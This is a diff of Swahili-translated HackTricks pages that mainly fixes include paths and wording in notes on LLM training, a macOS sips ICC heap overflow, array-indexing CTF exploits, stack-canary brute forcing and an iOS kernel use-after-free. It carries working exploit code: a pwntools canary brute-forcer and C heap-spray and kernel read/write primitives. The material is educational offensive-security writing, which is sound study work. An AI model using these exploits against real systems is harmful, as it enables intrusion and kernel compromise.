@ -58,9 +58,9 @@ Kisha, kama kawaida, inahitajika kutenganisha dataset katika seti za mafunzo, ut
|
||||
Kisha, inahitajika kubatch kila ingizo na matokeo yanayotarajiwa kwa mafunzo. Kwa hili, inahitajika:
|
||||
|
||||
- Tokenize maandiko
|
||||
- Pad sampuli zote hadi urefu sawa (kawaida urefu utakuwa mkubwa kama urefu wa muktadha ulitumika kabla ya kufundisha LLM)
|
||||
- Pad sampuli zote hadi urefu sawa (kawaida urefu utakuwa mkubwa kama urefu wa muktadha ulio tumika kabla ya kufundisha LLM)
|
||||
- Unda token zinazotarajiwa kwa kuhamasisha 1 ingizo katika kazi ya collate ya kawaida
|
||||
- Badilisha baadhi ya token za padding na -100 ili kuziondoa kwenye hasara ya mafunzo: Baada ya token ya kwanza `endoftext`, badilisha token zote nyingine za `endoftext` kwa -100 (kwa sababu kutumia `cross_entropy(...,ignore_index=-100)` inamaanisha kwamba itapuuzilia mbali malengo yenye -100)
|
||||
- Badilisha baadhi ya token za padding na -100 ili kuziondoa kutoka kwa hasara ya mafunzo: Baada ya token ya kwanza `endoftext`, badilisha token zote nyingine za `endoftext` kwa -100 (kwa sababu kutumia `cross_entropy(...,ignore_index=-100)` inamaanisha kwamba itapuuzilia mbali malengo yenye -100)
|
||||
- \[Hiari\] Ficha kwa kutumia -100 pia token zote zinazohusiana na swali ili LLM ijifunze tu jinsi ya kuzalisha jibu. Katika mtindo wa Apply Alpaca hii itamaanisha kuficha kila kitu hadi `### Response:`
|
||||
|
||||
Kwa hili lililoundwa, ni wakati wa kuunda data loaders kwa kila dataset (mafunzo, uthibitisho na upimaji).
|
||||
@ -101,4 +101,4 @@ Unaweza kupata mfano wa msimbo wa kufanya fine tuning hii katika [https://github
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# LLM Training - Data Preparation
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Hizi ni nota zangu kutoka kwa kitabu kinachopendekezwa sana** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **pamoja na taarifa za ziada.**
|
||||
|
||||
@ -15,7 +15,7 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
|
||||
## 1. Tokenization
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika tokens (ids) kwa njia ambayo ina maana**.
|
||||
> Lengo la awamu hii ya awali ni rahisi sana: **Gawanya ingizo katika token (ids) kwa njia ambayo ina maana**.
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
@ -33,7 +33,7 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
|
||||
## 3. Token Embeddings
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya tokens zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
|
||||
> Lengo la awamu hii ya tatu ni rahisi sana: **Patia kila moja ya token zilizopita katika msamiati vector ya vipimo vinavyotakiwa ili kufundisha mfano.** Kila neno katika msamiati litakuwa na pointi katika nafasi ya vipimo X.\
|
||||
> Kumbuka kwamba awali nafasi ya kila neno katika nafasi inaanzishwa "kwa bahati nasibu" na nafasi hizi ni vigezo vinavyoweza kufundishwa (vitaboreshwa wakati wa mafunzo).
|
||||
>
|
||||
> Zaidi ya hayo, wakati wa token embedding **tabaka lingine la embeddings linaundwa** ambalo linawakilisha (katika kesi hii) **nafasi halisi ya neno katika sentensi ya mafunzo**. Kwa njia hii neno katika nafasi tofauti katika sentensi litakuwa na uwakilishi tofauti (maana).
|
||||
@ -66,7 +66,7 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
|
||||
## 6. Pre-training & Loading models
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili muundo wa awali wa LLM utatumika na mizunguko kadhaa ikipita juu ya seti za data kwa kutumia kazi za hasara zilizofafanuliwa na msaidizi kufundisha vigezo vyote vya mfano.
|
||||
> Lengo la awamu hii ya sita ni rahisi sana: **Fundisha mfano kutoka mwanzo**. Kwa hili muundo wa awali wa LLM utatumika na miduara fulani ikipita juu ya seti za data kwa kutumia kazi zilizofafanuliwa za kupoteza na optimizer ili kufundisha vigezo vyote vya mfano.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
@ -99,4 +99,4 @@ Unapaswa kuanza kwa kusoma chapisho hili kwa baadhi ya dhana za msingi unazopasw
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,3 +1,3 @@
|
||||
# Arbitrary Write 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Overview
|
||||
|
||||
Ushirikiano wa kuandika nje ya mipaka katika Apple macOS Scriptable Image Processing System (`sips`) parser ya profaili ya ICC (macOS 15.0.1, sips-307) kutokana na uhakiki usio sahihi wa uwanja wa `offsetToCLUT` katika lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Faili ya ICC iliyoundwa inaweza kusababisha kuandika sifuri hadi byte 16 baada ya buffer ya heap, ikiharibu metadata ya heap au viashiria vya kazi na kuwezesha utekelezaji wa msimbo wa kiholela (CVE-2024-44236).
|
||||
Ushirikiano wa kuandika nje ya mipaka katika parser ya profaili ya ICC ya Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) kutokana na uhakiki usio sahihi wa uwanja wa `offsetToCLUT` katika lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Faili ya ICC iliyoundwa inaweza kusababisha kuandika sifuri hadi byte 16 baada ya buffer ya heap, ikiharibu metadata ya heap au viashiria vya kazi na kuwezesha utekelezaji wa msimbo wa kiholela (CVE-2024-44236).
|
||||
|
||||
## Vulnerable Code
|
||||
|
||||
@ -18,7 +18,7 @@ buffer[i] = 0;
|
||||
```
|
||||
Tuangalia tu `offsetToCLUT <= totalDataLength`. Kwa kuweka `offsetToCLUT == tagDataSize`, mzunguko unafikia hadi byte 16 baada ya mwisho wa `buffer`, ukiharibu metadata ya heap iliyo karibu.
|
||||
|
||||
## Hatua za Kutekeleza
|
||||
## Hatua za Utekelezaji
|
||||
|
||||
1. **Tengeneza profaili mbaya ya `.icc`:**
|
||||
- Jenga kichwa cha ICC (bytes 128) chenye saini `acsp` na kiingilio kimoja cha `lutAToBType` au `lutBToAType`.
|
||||
@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
|
||||
- Sasisho la Usalama la Apple Oktoba 2024 (patch inayopeleka CVE-2024-44236)
|
||||
https://support.apple.com/en-us/121564
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,17 +4,17 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Kikundi hiki kinajumuisha udhaifu wote unaotokea kwa sababu inawezekana kuandika tena data fulani kupitia makosa katika kushughulikia viashiria katika arrays. Ni kikundi pana sana kisichokuwa na mbinu maalum kwani mekanizma ya unyakuzi inategemea kabisa hali ya udhaifu.
|
||||
Kikundi hiki kinajumuisha udhaifu wote unaotokea kwa sababu inawezekana kuandika tena data fulani kupitia makosa katika kushughulikia viashiria katika arrays. Ni kikundi pana sana kisichokuwa na mbinu maalum kwani mekanismu ya unyakuzi inategemea kabisa hali ya udhaifu.
|
||||
|
||||
Hata hivyo, hapa unaweza kupata **mfano** mzuri:
|
||||
|
||||
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
|
||||
- Kuna **arrays 2 zinazogongana**, moja kwa **anwani** ambapo data inahifadhiwa na moja yenye **ukubwa** wa data hiyo. Inawezekana kuandika moja kutoka kwa nyingine, ikiruhusu kuandika anwani isiyo na mipaka ikionyesha kama ukubwa. Hii inaruhusu kuandika anwani ya kazi ya `free` katika jedwali la GOT na kisha kuandika tena na anwani ya `system`, na kuita free kutoka kwa kumbukumbu yenye `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 bits, hakuna nx. Andika tena ukubwa ili kupata aina fulani ya overflow ya buffer ambapo kila kitu kitakuwa kinatumika kama nambari mbili na kupangwa kutoka ndogo hadi kubwa hivyo inahitajika kuunda shellcode inayokidhi hiyo mahitaji, ikizingatia kwamba canary haipaswi kuhamishwa kutoka nafasi yake na hatimaye kuandika tena RIP na anwani ya kurudi, ambayo inakidhi mahitaji ya awali na kuweka anwani kubwa kama anwani mpya ikielekeza mwanzo wa stack (iliyovuja na programu) ili iwezekane kutumia ret kuruka huko.
|
||||
- 64 bits, hakuna nx. Andika tena ukubwa ili kupata aina fulani ya overflow ya buffer ambapo kila kitu kitatumika kama nambari mbili na kuorodheshwa kutoka ndogo hadi kubwa hivyo inahitajika kuunda shellcode inayokidhi hiyo mahitaji, ikizingatia kwamba canary haipaswi kuhamishwa kutoka nafasi yake na hatimaye kuandika tena RIP na anwani ya ret, ambayo inakidhi mahitaji ya awali na kuweka anwani kubwa kuwa anwani mpya ikielekeza mwanzo wa stack (iliyovuja na programu) ili iwezekane kutumia ret kuruka huko.
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64bits, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika array kwenye stack inayoruhusu kudhibiti pointer ikitoa WWW (inaandika jumla ya nambari zote za array katika anwani iliyovunjwa na off-by-one katika array). Stack inasimamiwa hivyo anwani ya GOT `exit` inandikwa tena na `pop rdi; ret`, na katika stack inaongezwa anwani ya `main` (ikizunguka nyuma kwa `main`). Kisha mchain ya ROP kutolewa anwani ya kuweka katika GOT kwa kutumia puts inatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo kutekeleza mchain hii katika stack). Hatimaye, mchain mpya ya ROP inayotekeleza ret2lib inatumika.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bit, hakuna relro, hakuna canary, nx, pie. Tumia uandishi mbaya wa viashiria kuvuja anwani za libc na heap kutoka kwenye stack. Tumia overflow ya buffer kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika ili kupita kipimo).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -12,9 +12,9 @@
|
||||
|
||||
## Brute force Canary
|
||||
|
||||
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu **inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunganisha nayo **canary ile ile itatumika**.
|
||||
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu **inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunga nayo **canary ile ile itatumika**.
|
||||
|
||||
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu char kwa char**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kuangalia ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **try/except**):
|
||||
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu kila herufi**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kuangalia ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/ukose**):
|
||||
|
||||
### Mfano 1
|
||||
|
||||
@ -60,7 +60,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
### Mfano wa 2
|
||||
|
||||
Hii imewekwa kwa bit 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bit 64.\
|
||||
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte kuashiria ukubwa wa ingizo** na payload.
|
||||
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte moja kuashiria ukubwa wa ingizo** na payload.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -103,13 +103,13 @@ log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Threads
|
||||
|
||||
Threads za mchakato mmoja pia **zitashiriki token ya canary** sawa, kwa hivyo itakuwa inawezekana **brute-forc**e canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
|
||||
Threads za mchakato mmoja pia **zitashiriki token ya canary** sawa, kwa hivyo itakuwa inawezekana **brute-force** canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
|
||||
|
||||
Zaidi ya hayo, **overflow ya buffer katika kazi iliyo na thread** iliyolindwa na canary inaweza kutumika **kubadilisha canary mkuu iliyohifadhiwa katika TLS**. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na kwa hivyo, canary) kupitia **bof katika stack** ya thread.\
|
||||
Kwa matokeo, kinga hiyo haina maana kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
|
||||
Matokeo yake, kinga ni bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
|
||||
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inazalishwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
|
||||
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kwa kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inazalishwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
|
||||
|
||||
## Other examples & references
|
||||
|
||||
@ -119,4 +119,4 @@ Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canar
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Hii ni muhtasari kutoka kwa chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit kutumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
Hii ni muhtasari kutoka kwa chapisho kutoka [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) zaidi ya hayo, taarifa zaidi kuhusu exploit inayotumia mbinu hii inaweza kupatikana katika [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
@ -27,31 +27,31 @@ Meza za kurasa zimeandaliwa kwa njia ya ngazi tatu:
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai iliyo karibu ya anwani za halisi (kama njia fupi).
|
||||
* Baadhi ya vipengee katika meza ya kurasa moja kwa moja **huunganisha anuwai ya anwani za virtual** na anuwai inayoendelea ya anwani halisi (kama njia fupi).
|
||||
* **Pointer to Child Page Table**:
|
||||
* Ikiwa udhibiti wa kina unahitajika, kipengee katika ngazi moja (mfano, L1) kinaweza kuelekeza kwenye **meza ya kurasa ya mtoto** katika ngazi inayofuata (mfano, L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Hebu sema unajaribu kufikia anwani ya virtual **0x1000000000**:
|
||||
Hebu tuseme unajaribu kufikia anwani ya virtual **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Kernel inakagua kipengee cha meza ya L1 kinachohusiana na anwani hii ya virtual. Ikiwa ina **pointer kwa meza ya L2**, inaenda kwenye meza hiyo ya L2.
|
||||
2. **L2 Table**:
|
||||
* Kernel inakagua meza ya L2 kwa ramani ya kina zaidi. Ikiwa kipengee hiki kinaelekeza kwenye **meza ya L3**, inaendelea huko.
|
||||
3. **L3 Table**:
|
||||
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani halisi** ya ukurasa wa kumbukumbu halisi.
|
||||
* Kernel inatafuta kipengee cha mwisho cha L3, ambacho kinaelekeza kwenye **anwani halisi** ya ukurasa halisi wa kumbukumbu.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Ikiwa unaandika anwani halisi **0x800004000** kwenye index ya kwanza ya meza ya L2, basi:
|
||||
|
||||
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganishwa na anwani halisi kutoka **0x800004000** hadi **0x802004000**.
|
||||
* Anwani za virtual kutoka **0x1000000000** hadi **0x1002000000** zinaunganisha na anwani halisi kutoka **0x800004000** hadi **0x802004000**.
|
||||
* Hii ni **block mapping** katika ngazi ya L2.
|
||||
|
||||
Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
|
||||
|
||||
* Kila ukurasa wa 4 KB katika anuwai ya anwani za virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
|
||||
* Kila ukurasa wa 4 KB katika anuwai ya anwani ya virtual **0x1000000000 -> 0x1002000000** utakuwa umeunganishwa na vipengee vya kibinafsi katika meza ya L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
@ -64,7 +64,7 @@ Vinginevyo, ikiwa kipengee cha L2 kinaelekeza kwenye meza ya L3:
|
||||
5. Kernel inaweza kisha **kutoa tena kumbukumbu halisi "iliyohifadhiwa"** kwa madhumuni mengine, kama **data ya kernel**.
|
||||
6. Kwa kuwa uhusiano haukuondolewa, mchakato bado unaweza **kusoma na kuandika** kwenye kumbukumbu halisi hii.
|
||||
|
||||
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data au muundo wa nyeti, na hivyo kuruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
|
||||
Hii inamaanisha mchakato unaweza kufikia **kurasa za kumbukumbu ya kernel**, ambazo zinaweza kuwa na data au muundo wa nyeti, na hivyo kumruhusu mshambuliaji **kubadilisha kumbukumbu ya kernel**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
@ -81,11 +81,11 @@ Taarifa zaidi kuhusu hii katika [https://github.com/felix-pb/kfd/tree/main/write
|
||||
|
||||
1. **Spray IOSurface Objects**: Mshambuliaji anaunda vitu vingi vya IOSurface vyenye kitambulisho maalum ("thamani ya kichawi").
|
||||
2. **Scan Freed Pages**: Wanakagua ikiwa yoyote ya vitu imewekwa kwenye ukurasa uliohifadhiwa.
|
||||
3. **Read/Write Kernel Memory**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mpangilio** katika kumbukumbu ya kernel. Hii inawaruhusu:
|
||||
* Kutumia eneo moja **kusoma thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
|
||||
* Kutumia eneo lingine **kuandika thamani za 64-bit**, kufikia **primitive ya kusoma/kuandika ya kernel** thabiti.
|
||||
3. **Read/Write Kernel Memory**: Kwa kubadilisha maeneo katika kitu cha IOSurface, wanapata uwezo wa kufanya **kusoma na kuandika bila mipaka** katika kumbukumbu ya kernel. Hii inawaruhusu:
|
||||
* Kutumia eneo moja kusoma **thamani yoyote ya 32-bit** katika kumbukumbu ya kernel.
|
||||
* Kutumia eneo lingine kuandika **thamani za 64-bit**, na kufikia **primitive ya kusoma/kuandika ya kernel** thabiti.
|
||||
|
||||
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE_MAGIC ili baadaye kutafuta:
|
||||
Unda vitu vya IOSurface vyenye thamani ya kichawi IOSURFACE\_MAGIC ili baadaye kutafuta:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -142,7 +142,7 @@ return 0;
|
||||
```
|
||||
### Kufikia Kernel Read/Write na IOSurface
|
||||
|
||||
Baada ya kupata udhibiti wa kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachiliwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
|
||||
Baada ya kupata udhibiti wa kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwenye ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
|
||||
|
||||
**Sehemu Muhimu katika IOSurface**
|
||||
|
||||
@ -158,7 +158,7 @@ Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika
|
||||
Ili kufanya kusoma:
|
||||
|
||||
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya 0x14-byte.
|
||||
2. Tumia mbinu ya `get_use_count` kusoma thamani katika anwani hiyo.
|
||||
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -197,11 +197,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
```
|
||||
#### Muhtasari wa Mchakato wa Ulaghai
|
||||
|
||||
1. **Chochea Matumizi-Baada ya Kuachia**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
|
||||
1. **Chochea Matumizi Baada ya Kuachiliwa**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
|
||||
2. **Sambaza Vitu vya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya uchawi" ya kipekee katika kumbukumbu ya kernel.
|
||||
3. **Tambua IOSurface Inayopatikana**: Tafuta IOSurface kwenye ukurasa ulioachwa ambao unadhibiti.
|
||||
4. **Tumia Matumizi-Baada ya Kuachia**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika kwa kernel** bila mipaka kupitia mbinu za IOSurface.
|
||||
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
|
||||
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa njia isiyo na mipaka kupitia mbinu za IOSurface.
|
||||
|
||||
Kwa kutumia hizi primitives, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha primitives za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
|
||||
Kwa kutumia hizi mbinu, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha mbinu za kusoma/kandika zenye uthabiti zaidi, ambazo zinaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,58 +1,58 @@
|
||||
# Libc Heap
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Msingi wa Heap
|
||||
|
||||
Heap kimsingi ni mahali ambapo programu itakuwa na uwezo wa kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
|
||||
Heap ni mahali ambapo programu inaweza kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
|
||||
|
||||
Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu (angalia sehemu ya `[heap]`):
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Usambazaji wa Kichwa Msingi
|
||||
### Usambazaji wa Msingi wa Chunk
|
||||
|
||||
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na data iliyohitajika + nafasi ya vichwa vya bin + offset ya ukubwa wa chini wa bin itahifadhiwa kwa kichwa. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata kila kichwa kilipo. Kwa hili, taarifa za metadata za kichwa zinatumika kujua kila kichwa kilichotumika/kilichopatikana kilipo.
|
||||
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na data iliyombwa + nafasi ya vichwa vya bin + offset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata ambapo kila chunk iko. Kwa hili, taarifa za metadata za chunk zinatumika kujua ambapo kila chunk inayotumika/ya bure iko.
|
||||
|
||||
Kuna njia tofauti za kuhifadhi nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
|
||||
|
||||
- Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
|
||||
- Ikiwa katika orodha ya vichwa kuna kichwa kinachopatikana kikubwa vya kutosha kutimiza ombi, kitatumika.
|
||||
- Hii inaweza hata kumaanisha kwamba sehemu ya kichwa kinachopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya vichwa.
|
||||
- Ikiwa hakuna kichwa kinachopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda kichwa kipya.
|
||||
- Ikiwa hakuna nafasi ya kutosha ya heap kutenga kichwa kipya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda kichwa kipya.
|
||||
- Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika.
|
||||
- Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks.
|
||||
- Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya.
|
||||
- Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya.
|
||||
- Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
|
||||
|
||||
